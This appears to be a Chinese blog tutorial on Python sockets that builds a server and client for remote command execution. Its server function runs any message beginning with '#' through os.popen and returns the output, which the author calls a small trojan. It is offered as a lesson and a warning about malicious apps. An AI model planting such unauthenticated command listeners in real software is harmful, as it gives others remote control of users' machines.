python网络编程实现简单远程命令执行

前言

套接字(Sockets)是双向通信信道的端点。 套接字可以在一个进程内,在同一机器上的进程之间,或者在不同主机的进程之间进行通信,主机可以是任何一台有连接互联网的机器。

一、基本语法

创建套接字,必须使用套接字模块中的socket.socket()函数。
s.bind(),此方法将地址(主机名,端口号对)绑定到套接字。
s.listen()此方法设置并启动TCP侦听器.
s.accept()这被动地接受TCP客户端连接,等待直到连接到达(阻塞),如未设置,每次只能连接一个客户端
s.recv()此方法接收TCP消息。
s.send()该方法发送TCP消息
s.recvfrom()此方法接收UDP消息
s.sendto()此方法发送UDP消息
s.close()此方法关闭套接字
socket.gethostname()返回主机名

二、代码实现

1.服务端

import os
import socket
def normal_talk():
    s=socket.socket()#不带括号返回的是地址
    s.bind(('127.0.0.1',6667))#只允许本设备进行访问0.0.0.0所有设备均可访问
    s.listen()
    chanle,client=s.accept() #无法接收多个客户端
    while True:
        #chanle,client=s.accept()#接收客户端连接并返回数据和客户端地址,会进入阻塞状态,等待一个新的客户端连接
        receive=chanle.recv(1024).decode()#decode解码,encode转码
        print(f'收到消息:{receive}')
        reply=receive.replace('吗?',"!")
        chanle.send(reply.encode())
    #s.close()      #在死循环之后的代码不能执行
    # 一个python文件通常有两种使用方法,第一是作为脚本直接执行,第二是
    # import 到其他的
    # python
    # 脚本中被调用(模块重用)执行。因此
    # if __name__ == 'main': 的作用就是控制这两种情况执行代码的过程,在
    # if __name__ == 'main': 下的代码只有在第一种情况下(即文件作为脚本直接执行)才会被执行,而
    # import 到其他脚本中是不会被执行的。
#核心思路:客户端发送一条特殊字符串,里面包含要执行的命令,让服务端执行命令并返回结果
def attack_talk():
    s = socket.socket()# 不带括号返回的是地址
    try:  
        s.bind(('127.0.0.1', 6667))  # 只允许本设备进行访问0.0.0.0所有设备均可访问
        s.listen()
        chanle, client = s.accept()  # 无法接收多个客户端
        while True:
            # chanle,client=s.accept()#接收客户端连接并返回数据和客户端地址,会进入阻塞状态,等待一个新的客户端连接
            receive = chanle.recv(10240).decode()# decode解码,encode转码
            if receive.startswith('#'):#判断字符串是否以#开头
                command=receive.split(',')[-1]
                reply=os.popen(command).read()#接收到的命令,小马
                chanle.send(f"命令{command}的运行结果:\n{reply}".encode())#发送数据,默认编码utf8
            elif receive==None:
                attack_talk()
            else:
                print(f'收到消息:{receive}')
                reply = receive.replace('吗?', "!")
                chanle.send(reply.encode())
    except:
        s.close()
        attack_talk()

if __name__=='__main__':
    attack_talk()#当其他python文件调用这个函数时,这里面的不会被执

2.客户端

import socket
s=socket.socket()
s.connect(('127.0.0.1',6667))#建立连接
while True:
    message=input('请输入消息:')
    s.send(message.encode())#客户端给服务端发送消息,默认以utf8方式编码
    re=s.recv(10240)#客户端接收服务端发送的消息
    print(f'服务器回复:{re.decode()}')

总结

对于网上下载的应用,应留以戒心,防止其中包含恶意木马,危害自身隐私安全

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值